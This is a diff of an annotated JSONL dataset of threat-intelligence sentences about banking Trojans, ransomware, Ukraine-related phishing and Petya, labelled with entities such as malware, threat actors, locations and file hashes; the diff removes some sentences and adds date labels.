diff --git "a/all.jsonl" "b/all.jsonl"
--- "a/all.jsonl"
+++ "b/all.jsonl"
@@ -38,12 +38,11 @@
 {"id":38,"text":"In the mid-2000s, criminals made great profits from using Banking Trojans to steal credentials for online banking websites, and subsequently draining the accounts’ associated funds.","entities":[{"id":45811,"label":"TIME","start_offset":7,"end_offset":16},{"id":45812,"label":"attack-pattern","start_offset":77,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":39,"text":"This account takeover activity continues today, but various anti-fraud measures and law enforcement actions have made it less profitable and riskier for criminals.","entities":[],"relations":[],"Comments":[]}
 {"id":40,"text":"Another aspect of Banking Trojan infections is that, while the criminal may be infecting hosts indiscriminately, the value of the host greatly depends on the individual who owns it, and the criminals’ ability to “cash out” their bank account.","entities":[],"relations":[],"Comments":[]}
-{"id":41,"text":"Figure 1 is a capture from a book I wrote with some colleagues in 2008, “Cyber Fraud: Tactics, Techniques, and Procedures.”","entities":[],"relations":[],"Comments":[]}
+{"id":41,"text":"Figure 1 is a capture from a book I wrote with some colleagues in 2008, “Cyber Fraud: Tactics, Techniques, and Procedures.”","entities":[{"id":51804,"label":"TIME","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":42,"text":"It shows the price that a criminal enterprise called IFRAME DOLLARS was charging to infect computers in various countries at that time.","entities":[{"id":44577,"label":"threat-actor","start_offset":53,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":43,"text":"Figure 1: Capture from Cyber Fraud: Tactics, Techniques, and Procedures showing prices of host infections by country.","entities":[],"relations":[],"Comments":[]}
 {"id":44,"text":"In 2007, the infection of a system in Australia went for US$0.60, while an infection in Poland was only a fraction of the cost, at US$0.096.","entities":[{"id":45814,"label":"location","start_offset":38,"end_offset":48},{"id":45815,"label":"location","start_offset":88,"end_offset":94},{"id":45813,"label":"TIME","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":45,"text":"The difference in price represented the difference in value: criminals were able to make more money through a Banking Trojan account takeover from an Australian infection than they could in Poland.","entities":[{"id":45771,"label":"malware","start_offset":110,"end_offset":124},{"id":45772,"label":"attack-pattern","start_offset":125,"end_offset":141},{"id":44579,"label":"location","start_offset":190,"end_offset":196},{"id":44580,"label":"location","start_offset":150,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":46,"text":"This was due to many factors, but chief among them was that criminals were more successful at cashing out accounts from Australian infections than they were from systems in other parts of the world.","entities":[{"id":45816,"label":"location","start_offset":120,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":47,"text":"As anti-fraud protections evolved, so did the criminals.","entities":[],"relations":[],"Comments":[]}
 {"id":48,"text":"Fast forward five years to 2013 and the rise of the Ransomware business model","entities":[{"id":44581,"label":"TIME","start_offset":27,"end_offset":31}],"relations":[],"Comments":[]}
 {"id":49,"text":"This new way to generate profit had two major advantages over account takeovers:  ","entities":[],"relations":[],"Comments":[]}
@@ -216,10 +215,9 @@
 {"id":216,"text":"These attacks appear to have copied the messaging template observed in attacks exploiting the OctoberCMS vulnerability a month earlier on Jan.14, while adding a .onion web address and a message in red font that translates to, “Do you need proof, see the link at the end.”  ","entities":[{"id":44640,"label":"vulnerability","start_offset":94,"end_offset":118},{"id":44641,"label":"TIME","start_offset":138,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":217,"text":"The .onion site links to an entity calling themselves “Free Civilian” and offering to sell databases containing the personal data of Ukrainian citizens.","entities":[],"relations":[],"Comments":[]}
 {"id":218,"text":"Over the past 24 hours, the list of entities on the leaks section has expanded to 48 gov.ua domains and one Ukranian company (motorsich[.]com) that builds engines for airplanes and helicopters.","entities":[{"id":45912,"label":"TIME","start_offset":5,"end_offset":22},{"id":45913,"label":"identity","start_offset":108,"end_offset":124},{"id":45914,"label":"DOMAIN","start_offset":126,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":219,"text":" Our team analyzed the larger trends regarding Ukraine-related phishing and scam URLs detected by Advanced URL Filtering.","entities":[{"id":715,"label":"attack-pattern","start_offset":63,"end_offset":71},{"id":44642,"label":"attack-pattern","start_offset":63,"end_offset":71},{"id":44643,"label":"attack-pattern","start_offset":76,"end_offset":85}],"relations":[],"Comments":[]}
+{"id":219,"text":" Our team analyzed the larger trends regarding Ukraine-related phishing and scam URLs detected by Advanced URL Filtering.","entities":[{"id":715,"label":"attack-pattern","start_offset":63,"end_offset":71},{"id":44643,"label":"attack-pattern","start_offset":76,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":220,"text":"We noticed an overall increase in the detection of websites that host phishing and scam URLs on domains using Ukraine-related TLDs such as gov.ua and com.ua, or containing popular Ukraine-related keywords such as \"ukraine\" and \"ukrainian\".","entities":[{"id":45915,"label":"attack-pattern","start_offset":70,"end_offset":78},{"id":45918,"label":"location","start_offset":214,"end_offset":221},{"id":45919,"label":"location","start_offset":110,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":221,"text":"This trend correlates with an increase in Google searches for terms like \"Ukraine aid.\"","entities":[{"id":45916,"label":"SOFTWARE","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":222,"text":"The increase in online searches containing Ukraine-related keywords likely makes such URLs a more lucrative target for attackers, and past examples show that attackers are known for taking advantage of current events.","entities":[{"id":45917,"label":"location","start_offset":43,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":223,"text":" From January to late February, it appears that the number of Ukraine-related phishing and scam sites largely followed a similar trend as Ukraine-related internet searches; however, the number of phishing and scam sites has continued to rise through mid-late March as the situation remains ongoing.","entities":[{"id":737,"label":"attack-pattern","start_offset":78,"end_offset":86},{"id":741,"label":"attack-pattern","start_offset":196,"end_offset":204},{"id":45920,"label":"TIME","start_offset":6,"end_offset":13},{"id":45925,"label":"attack-pattern","start_offset":209,"end_offset":219},{"id":45921,"label":"TIME","start_offset":17,"end_offset":30},{"id":45922,"label":"location","start_offset":62,"end_offset":69},{"id":45923,"label":"location","start_offset":138,"end_offset":145}],"relations":[],"Comments":[]}
 {"id":224,"text":"Figure 8 shows that the number of Ukraine-related phishing\/scam sites is currently continuing to rise about a month after the “Ukraine aid” search term started trending in Google search.","entities":[{"id":747,"label":"attack-pattern","start_offset":50,"end_offset":58},{"id":45924,"label":"attack-pattern","start_offset":59,"end_offset":69},{"id":45926,"label":"location","start_offset":34,"end_offset":41},{"id":45927,"label":"SOFTWARE","start_offset":172,"end_offset":178}],"relations":[],"Comments":[]}
 {"id":225,"text":"  Among these phishing and scam URLs, we found a targeted phishing attack.","entities":[{"id":751,"label":"attack-pattern","start_offset":14,"end_offset":22},{"id":44645,"label":"attack-pattern","start_offset":27,"end_offset":36},{"id":44646,"label":"attack-pattern","start_offset":49,"end_offset":73}],"relations":[],"Comments":[]}
@@ -236,7 +234,6 @@
 {"id":236,"text":"In particular, we noticed a sharp increase in the number of cybersquatting domains that were registered close to Feb. 24, as shown in Figure 10 below.","entities":[{"id":45937,"label":"attack-pattern","start_offset":60,"end_offset":74},{"id":45938,"label":"TIME","start_offset":113,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":237,"text":" We manually analyzed a sample set of these cybersquatting domains.","entities":[{"id":45782,"label":"attack-pattern","start_offset":44,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":238,"text":"Below we share some interesting case studies.","entities":[],"relations":[],"Comments":[]}
-{"id":239,"text":" We identified more than two dozen domains requesting donations to support Ukraine.","entities":[{"id":45939,"label":"location","start_offset":75,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":240,"text":"A detailed analysis of these domains revealed that many of them are fake.","entities":[],"relations":[],"Comments":[]}
 {"id":241,"text":"These donation websites provide little to no information about the associated organization and distribution of funds.","entities":[],"relations":[],"Comments":[]}
 {"id":242,"text":"Many of these websites use cryptocurrency wallets (e.g., BTC, ETH) to accept payment (likely because these wallets are easy to set up and require no verification).  We also find that some websites are mimicking popular donation websites or organizations to trick users into paying them money.","entities":[{"id":45940,"label":"SOFTWARE","start_offset":57,"end_offset":60},{"id":45941,"label":"SOFTWARE","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
@@ -251,19 +248,13 @@
 {"id":251,"text":"In particular, fake donation websites mimicking popular websites can be misleading, as described earlier.","entities":[{"id":45948,"label":"attack-pattern","start_offset":38,"end_offset":64},{"id":45947,"label":"attack-pattern","start_offset":15,"end_offset":37}],"relations":[],"Comments":[]}
 {"id":252,"text":"Before donating money, we recommend checking whether the website is referenced and shared by the official charity or government organization.","entities":[],"relations":[],"Comments":[]}
 {"id":253,"text":"Our teams at Palo Alto Networks will continue monitoring domain squatting attacks and work to protect customers against them.","entities":[{"id":45949,"label":"identity","start_offset":13,"end_offset":31},{"id":45950,"label":"attack-pattern","start_offset":57,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":254,"text":"We are also sharing a list of IoCs publicly and have shared this threat intelligence with relevant authorities in Ukraine.","entities":[{"id":45951,"label":"location","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":255,"text":" We detected campaigns of fake downloads where threat actors have set up web pages to host malicious binaries.","entities":[{"id":44660,"label":"attack-pattern","start_offset":26,"end_offset":40},{"id":44661,"label":"attack-pattern","start_offset":86,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":256,"text":"We found that these campaigns were targeting Ukrainian users.","entities":[{"id":45952,"label":"location","start_offset":45,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":257,"text":"Most of these web pages show malicious binaries as popular browsers or communication apps in order to deceive users.","entities":[],"relations":[],"Comments":[]}
 {"id":258,"text":"For example, we detected a website that was distributing a malicious binary by masquerading as a popular global communication app targeting users in Ukraine.","entities":[{"id":847,"label":"attack-pattern","start_offset":79,"end_offset":91},{"id":44662,"label":"location","start_offset":149,"end_offset":156},{"id":44663,"label":"attack-pattern","start_offset":44,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":259,"text":"This domain is still active and trying to target Ukrainian users at the time of writing this post.","entities":[{"id":45953,"label":"location","start_offset":49,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":260,"text":"Note that Palo Alto Networks customers receive protections against such domains from the Next-Generation Firewall via Advanced URL Filtering, DNS Security and WildFire URL Analysis subscriptions.","entities":[{"id":45955,"label":"SOFTWARE","start_offset":159,"end_offset":167},{"id":45954,"label":"identity","start_offset":10,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":261,"text":"We also found that these fake download campaigns rotate domains to distribute the same malicious binaries.","entities":[{"id":44664,"label":"attack-pattern","start_offset":25,"end_offset":38},{"id":44665,"label":"attack-pattern","start_offset":87,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":262,"text":"For example, we detected two domains distributing the same malicious binary where one domain was impersonating a popular, widely used video conferencing application and the other a widely used internet browser.","entities":[],"relations":[],"Comments":[]}
-{"id":263,"text":" The distribution of fake browsers and communication apps targeting Ukrainian users at this time is concerning.","entities":[{"id":45957,"label":"location","start_offset":68,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":264,"text":"Our teams at Palo Alto Networks will continue to monitor and work to protect our customers against such attacks.","entities":[{"id":44666,"label":"identity","start_offset":13,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":265,"text":"We are publicly sharing a list of IoCs and shared this threat intelligence with relevant authorities in Ukraine.","entities":[{"id":45958,"label":"location","start_offset":104,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":266,"text":"We also advise Ukrainian users to only install software and apps from verified and official websites.","entities":[{"id":45959,"label":"location","start_offset":15,"end_offset":24}],"relations":[],"Comments":[]}
 {"id":267,"text":" Consistent with our previous reporting on the situation, Unit 42 continues to lead a company-wide effort to collect, evaluate and disseminate the latest intelligence on cyber activity related to Russia and Ukraine.","entities":[{"id":45785,"label":"identity","start_offset":58,"end_offset":65},{"id":45783,"label":"location","start_offset":196,"end_offset":202},{"id":45784,"label":"location","start_offset":207,"end_offset":214}],"relations":[],"Comments":[]}
 {"id":268,"text":"We are actively collaborating with our partners in industry and governments to share our analysis and findings based on our global threat telemetry network.","entities":[],"relations":[],"Comments":[]}
 {"id":269,"text":" These efforts have enabled us to make near-daily updates to our platform to ensure our customers have the best protection possible.","entities":[],"relations":[],"Comments":[]}
@@ -284,7 +275,7 @@
 {"id":284,"text":"Because of the likelihood of ransomware attacks �� or destructive attacks that pose as ransomware – it may be beneficial to focus on preparing in this area, particularly ensuring backup and recovery plans are in place.","entities":[],"relations":[],"Comments":[]}
 {"id":285,"text":"We have distilled the knowledge we’ve gained from responding to hundreds of ransomware incidents into our Ransomware Readiness Assessment offering, which is designed to help organizations strengthen their processes and technology to mitigate threats like the ones we expect in the coming days and weeks.","entities":[],"relations":[],"Comments":[]}
 {"id":286,"text":" If you think you may have been compromised by wiper attacks, Gamaredon, DDoS attacks or other cyber activity related to Russia-Ukraine, or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.","entities":[{"id":45972,"label":"threat-actor","start_offset":62,"end_offset":71},{"id":45975,"label":"location","start_offset":325,"end_offset":330},{"id":45976,"label":"location","start_offset":301,"end_offset":305},{"id":45979,"label":"identity","start_offset":185,"end_offset":215},{"id":45973,"label":"attack-pattern","start_offset":73,"end_offset":85},{"id":45974,"label":"location","start_offset":224,"end_offset":237},{"id":45977,"label":"location","start_offset":278,"end_offset":282},{"id":45980,"label":"attack-pattern","start_offset":47,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":287,"text":" Threat Brief: Ongoing Russia and Ukraine Cyber Conflict (Jan. 20) Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (Updated Feb. 16)","entities":[{"id":965,"label":"threat-actor","start_offset":76,"end_offset":85},{"id":966,"label":"threat-actor","start_offset":90,"end_offset":104},{"id":45982,"label":"location","start_offset":23,"end_offset":29},{"id":45983,"label":"location","start_offset":34,"end_offset":41},{"id":45981,"label":"location","start_offset":67,"end_offset":74}],"relations":[{"id":139,"from_id":965,"to_id":966,"type":"duplicate-of"},{"id":141,"from_id":966,"to_id":45981,"type":"originates-from"},{"id":140,"from_id":965,"to_id":45981,"type":"originates-from"}],"Comments":[]}
+{"id":287,"text":" Threat Brief: Ongoing Russia and Ukraine Cyber Conflict (Jan. 20) Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (Updated Feb. 16)","entities":[{"id":965,"label":"threat-actor","start_offset":76,"end_offset":85},{"id":966,"label":"threat-actor","start_offset":90,"end_offset":104},{"id":51805,"label":"TIME","start_offset":58,"end_offset":65},{"id":51806,"label":"TIME","start_offset":151,"end_offset":158},{"id":45982,"label":"location","start_offset":23,"end_offset":29},{"id":45983,"label":"location","start_offset":34,"end_offset":41},{"id":45981,"label":"location","start_offset":67,"end_offset":74}],"relations":[{"id":139,"from_id":965,"to_id":966,"type":"duplicate-of"},{"id":141,"from_id":966,"to_id":45981,"type":"originates-from"},{"id":140,"from_id":965,"to_id":45981,"type":"originates-from"}],"Comments":[]}
 {"id":288,"text":"Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot Threat Briefing: Protecting Against Russia-Ukraine Cyber Activity Palo Alto Networks Resource Page: Protect Against Russia-Ukraine Cyber Activity Cortex XDR Protections Against Malware Associated with Ukraine and Russia Cyber Activity","entities":[{"id":970,"label":"attack-pattern","start_offset":0,"end_offset":14},{"id":974,"label":"malware","start_offset":94,"end_offset":102},{"id":976,"label":"malware","start_offset":122,"end_offset":130},{"id":977,"label":"location","start_offset":167,"end_offset":173},{"id":978,"label":"location","start_offset":174,"end_offset":181},{"id":979,"label":"identity","start_offset":197,"end_offset":215},{"id":981,"label":"location","start_offset":247,"end_offset":253},{"id":982,"label":"location","start_offset":254,"end_offset":261},{"id":983,"label":"tools","start_offset":277,"end_offset":287},{"id":44679,"label":"identity","start_offset":30,"end_offset":54},{"id":44678,"label":"location","start_offset":47,"end_offset":54},{"id":44685,"label":"location","start_offset":332,"end_offset":339},{"id":44686,"label":"location","start_offset":344,"end_offset":350}],"relations":[{"id":116,"from_id":970,"to_id":44679,"type":"targets"},{"id":118,"from_id":974,"to_id":970,"type":"uses"},{"id":119,"from_id":976,"to_id":970,"type":"uses"},{"id":117,"from_id":974,"to_id":44679,"type":"targets"}],"Comments":[]}
 {"id":289,"text":"CISA: Shields Up Technical Guidance  1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da a64c3e0522fad787b95bfb6a30c3aed1b5786e69e88e023c062ec7e5cebf4d3e 3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767 2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf 06086c1da4590dcc7f1e10a6be3431e1166286a9e7761f2de9de79d7fda9c397 Name","entities":[{"id":988,"label":"SHA2","start_offset":37,"end_offset":101},{"id":989,"label":"SHA2","start_offset":102,"end_offset":166},{"id":990,"label":"SHA2","start_offset":167,"end_offset":231},{"id":992,"label":"SHA2","start_offset":297,"end_offset":361},{"id":991,"label":"SHA2","start_offset":232,"end_offset":296},{"id":993,"label":"SHA2","start_offset":362,"end_offset":426},{"id":45984,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":290,"text":"Hermetica Digital Ltd Thumbprint 1AE7556DFACD47D9EFBE79BE974661A5A6D6D923 Serial Number 0C 48 73 28 73 AC 8C CE BA F8 F0 E1 E8 32 9C EC","entities":[{"id":45985,"label":"identity","start_offset":0,"end_offset":21}],"relations":[],"Comments":[]}
@@ -378,7 +369,6 @@
 {"id":378,"text":"Vulnerable Systems CVE-2022-26134 in the Wild Cortex Managed Threat Hunting Detections of CVE-2022-26134","entities":[{"id":44726,"label":"vulnerability","start_offset":19,"end_offset":33},{"id":44727,"label":"SOFTWARE","start_offset":46,"end_offset":52},{"id":44728,"label":"vulnerability","start_offset":90,"end_offset":104}],"relations":[],"Comments":[]}
 {"id":379,"text":"Conclusion Indicators of Compromise  ","entities":[],"relations":[],"Comments":[]}
 {"id":380,"text":"The Palo Alto Networks attack surface management solution Cortex Xpanse found 19,707 instances of Confluence Servers that are potentially affected by this CVE.","entities":[{"id":46075,"label":"identity","start_offset":4,"end_offset":22},{"id":46077,"label":"SOFTWARE","start_offset":98,"end_offset":116},{"id":46076,"label":"SOFTWARE","start_offset":58,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":381,"text":"The majority of these instances were discovered to reside within the United States, Germany, China and Russia.","entities":[{"id":44729,"label":"location","start_offset":69,"end_offset":82},{"id":44730,"label":"location","start_offset":84,"end_offset":91},{"id":44731,"label":"location","start_offset":93,"end_offset":98},{"id":44732,"label":"location","start_offset":103,"end_offset":109}],"relations":[],"Comments":[]}
 {"id":382,"text":" Additionally, the Xpanse research team also found 1,251 end-of-life versions of the Confluence Server exposed on the public internet.","entities":[{"id":46080,"label":"SOFTWARE","start_offset":85,"end_offset":102},{"id":46079,"label":"identity","start_offset":19,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":383,"text":"Assets running end-of-life software should never be internet-facing.","entities":[],"relations":[],"Comments":[]}
 {"id":384,"text":"If an asset cannot be updated to secure versions of software, it should be isolated or decommissioned altogether.","entities":[],"relations":[],"Comments":[]}
@@ -623,7 +613,6 @@
 {"id":623,"text":"One technique includes  the ETERNALBLUE exploit tool.","entities":[{"id":2083,"label":"malware","start_offset":28,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":624,"text":"This is the same exploit the WanaCrypt0r\/WannaCry malware exploited to spread globally in May, 2017.","entities":[{"id":2086,"label":"malware","start_offset":29,"end_offset":40},{"id":2087,"label":"malware","start_offset":41,"end_offset":49},{"id":44808,"label":"TIME","start_offset":90,"end_offset":99}],"relations":[],"Comments":[]}
 {"id":625,"text":"At least 50 organizations have reported impacts from the malware, including government and critical infrastructure operators.","entities":[],"relations":[],"Comments":[]}
-{"id":626,"text":"Most impacted organizations are located in Ukraine, but global organizations with offices in Ukraine have seen the malware spread within their network across national borders.","entities":[{"id":46216,"label":"location","start_offset":93,"end_offset":100},{"id":46215,"label":"location","start_offset":43,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":627,"text":" Palo Alto Networks is documenting our prevention capabilities with regard to this threat in the Palo Alto Networks Protections for Petya Ransomware blog post.","entities":[{"id":44809,"label":"identity","start_offset":1,"end_offset":19},{"id":44810,"label":"identity","start_offset":97,"end_offset":115},{"id":44811,"label":"malware","start_offset":132,"end_offset":148}],"relations":[],"Comments":[]}
 {"id":628,"text":"Windows users should take the following general steps to protect themselves:","entities":[{"id":46217,"label":"SOFTWARE","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":629,"text":" This is a developing situation, we will update this blog as new information becomes available.","entities":[],"relations":[],"Comments":[]}
@@ -644,7 +633,6 @@
 {"id":644,"text":"Previous variants were spread through e-mail, but we have not identified this latest sample carried in any e-mail related attacks.","entities":[],"relations":[],"Comments":[]}
 {"id":645,"text":" While we have not been able to directly confirm the source, we have seen evidence that a Ukrainian software application called MEDoc was used by attackers to deliver the Petya DLL.","entities":[{"id":46229,"label":"location","start_offset":90,"end_offset":99},{"id":44817,"label":"SOFTWARE","start_offset":128,"end_offset":133},{"id":44818,"label":"malware","start_offset":171,"end_offset":176}],"relations":[{"id":174,"from_id":44818,"to_id":44817,"type":"uses"}],"Comments":[]}
 {"id":646,"text":"The software is heavily used in Ukraine it appears the company’s systems may have been compromised and used to issue a malicious update to systems running the program on the morning of Jun 27th.","entities":[{"id":46230,"label":"TIME","start_offset":174,"end_offset":193},{"id":46231,"label":"location","start_offset":32,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":647,"text":"This infection vector helps explain the high concentration of infections in Ukraine.","entities":[{"id":46232,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":648,"text":" Installation  ","entities":[],"relations":[],"Comments":[]}
 {"id":649,"text":"This variant of Petya is spread as a DLL file, which must be executed by another process before it takes action on the system.","entities":[{"id":2145,"label":"malware","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]}
 {"id":650,"text":"Once executed, it overwrites the Master Boot Record and creates a scheduled task to reboot the system.","entities":[{"id":46233,"label":"SOFTWARE","start_offset":33,"end_offset":51},{"id":46234,"label":"attack-pattern","start_offset":66,"end_offset":80}],"relations":[],"Comments":[]}
@@ -995,7 +983,6 @@
 {"id":995,"text":" Our investigation began with a Chinese language search for \"edu mailbox\" in Taobao, which returned 99 results related to stolen university email accounts.","entities":[{"id":46491,"label":"SOFTWARE","start_offset":77,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":996,"text":"The most expensive account was listed at ¥2400 RMB ($390.80 USD), while the cheapest was only ¥0.98 RMB ($0.16 USD).  Figure 1: Results for Chinese language \"edu mailbox\" search on Taobao.","entities":[{"id":46492,"label":"SOFTWARE","start_offset":181,"end_offset":187}],"relations":[],"Comments":[]}
 {"id":997,"text":" These accounts, which include an education (EDU) top-level domain email address with valid password, represent 42 of the world’s top universities, across 10 countries:  ","entities":[],"relations":[],"Comments":[]}
-{"id":998,"text":"Australia:  Canada:  China:  Denmark:  Italy:  Singapore:  Sweden:  Switzerland:  United Kingdom:  United States:  The sellers guaranteed that all email accounts were valid, accessible, and active.","entities":[{"id":46494,"label":"location","start_offset":12,"end_offset":18},{"id":46495,"label":"location","start_offset":21,"end_offset":26},{"id":46502,"label":"location","start_offset":99,"end_offset":112},{"id":46493,"label":"location","start_offset":0,"end_offset":9},{"id":46496,"label":"location","start_offset":29,"end_offset":36},{"id":46497,"label":"location","start_offset":39,"end_offset":44},{"id":46498,"label":"location","start_offset":47,"end_offset":56},{"id":46499,"label":"location","start_offset":59,"end_offset":65},{"id":46500,"label":"location","start_offset":68,"end_offset":79},{"id":46501,"label":"location","start_offset":82,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":999,"text":"The descriptions for these items proposed three main uses for buyers:  ","entities":[],"relations":[],"Comments":[]}
 {"id":1000,"text":"1. Registering for special accounts under software developer programs:","entities":[],"relations":[],"Comments":[]}
 {"id":1001,"text":"For example, the most popular account type, which has been bought at least 569 times, was advertised as a Microsoft’s student Windows Phone 7 and 8 developer account.","entities":[{"id":46504,"label":"identity","start_offset":106,"end_offset":116}],"relations":[],"Comments":[]}
@@ -1219,7 +1206,6 @@
 {"id":1219,"text":" All of the IAP SDKs in this post target Chinese users.","entities":[],"relations":[],"Comments":[]}
 {"id":1220,"text":"Both SMS sending and SMS blocking will only affect Android phones with a valid Chinese mobile phone number.","entities":[{"id":46605,"label":"SOFTWARE","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":1221,"text":"Some of them will even check which SIM operator a user is using (Figure 6).","entities":[],"relations":[],"Comments":[]}
-{"id":1222,"text":"However, we’ve found Android games using these IAP SDKs being downloaded by users in other Asia Pacific areas.","entities":[{"id":46607,"label":"location","start_offset":91,"end_offset":109},{"id":46606,"label":"location","start_offset":21,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":1223,"text":" An interesting observation is that half of these IAP SDKs implement the send and block SMS functions in separate codes.","entities":[],"relations":[],"Comments":[]}
 {"id":1224,"text":"More specifically, the code was separated into two parts.","entities":[],"relations":[],"Comments":[]}
 {"id":1225,"text":"One piece is embedded into Android apps or games for developers as a part of the source code.","entities":[{"id":46608,"label":"SOFTWARE","start_offset":27,"end_offset":34}],"relations":[],"Comments":[]}
@@ -1342,7 +1328,6 @@
 {"id":1342,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
 {"id":1343,"text":"This post is also available in:      日本語 (Japanese)  Beginning on Jan. 14, 2022, reports began emerging about a series of attacks targeting numerous Ukrainian government websites.","entities":[{"id":46672,"label":"identity","start_offset":149,"end_offset":169},{"id":46671,"label":"TIME","start_offset":66,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":1344,"text":"As a result of these attacks, numerous government websites were found to be either defaced or inaccessible.","entities":[],"relations":[],"Comments":[]}
-{"id":1345,"text":"As a result of this, the government of Ukraine formally accused Russia of masterminding these attacks against their websites.","entities":[{"id":46673,"label":"location","start_offset":39,"end_offset":46},{"id":46674,"label":"location","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":1346,"text":"A day later, public reporting outlined new malware called WhisperGate that originally was observed on Jan. 13, 2022.","entities":[{"id":46675,"label":"TIME","start_offset":102,"end_offset":115},{"id":46676,"label":"malware","start_offset":58,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":1347,"text":"This malware disables Windows Defender Threat Protection, is destructive in nature and was discovered to have targeted multiple organizations in Ukraine.","entities":[{"id":44970,"label":"SOFTWARE","start_offset":22,"end_offset":56},{"id":44971,"label":"location","start_offset":145,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":1348,"text":"Microsoft has publicly attributed the use of this custom malware to a threat actor they refer to as DEV-0586.","entities":[{"id":4045,"label":"threat-actor","start_offset":100,"end_offset":108},{"id":46677,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
@@ -1412,7 +1397,6 @@
 {"id":1412,"text":" Each e-mail carries one of the following attachments:  These attachments are different versions of the malware that has been packed to evade antivirus engines.","entities":[],"relations":[],"Comments":[]}
 {"id":1413,"text":"Twelve of the 53 scanners on virustotal.com now detect the first variant of the malware, but only three detect the latest version.","entities":[{"id":45011,"label":"SOFTWARE","start_offset":29,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":1414,"text":" To determine where the highest number of infected nodes are, we mapped the sending IP address for each of the attach e-mails to their rough geographic location.","entities":[],"relations":[],"Comments":[]}
-{"id":1415,"text":"While there are infected systems around the world, the largest concentration is in North America, particularly the United Stats and Canada.","entities":[{"id":46756,"label":"location","start_offset":132,"end_offset":138},{"id":46755,"label":"location","start_offset":115,"end_offset":127},{"id":46757,"label":"location","start_offset":83,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":1416,"text":" Geographic Distribution of Koluoz Spam Nodes in North America  Thus far we’ve detected the following command and control servers in use.","entities":[{"id":45013,"label":"Infrastucture","start_offset":35,"end_offset":45},{"id":45016,"label":"Infrastucture","start_offset":103,"end_offset":121},{"id":45012,"label":"malware","start_offset":28,"end_offset":34},{"id":45014,"label":"location","start_offset":49,"end_offset":62}],"relations":[{"id":55,"from_id":45012,"to_id":45013,"type":"communicates-with"},{"id":56,"from_id":45013,"to_id":45014,"type":"located-at"}],"Comments":[]}
 {"id":1417,"text":" The network traffic generated by each Trojan uses the HTTP protocol, and despite its use of port 443, is not encrypted with SSL.","entities":[],"relations":[],"Comments":[]}
 {"id":1418,"text":" As with most fast-spreading malware, antivirus engines will typically begin detecting the files a day or two after the spread has begun.","entities":[],"relations":[],"Comments":[]}
@@ -1927,7 +1911,6 @@
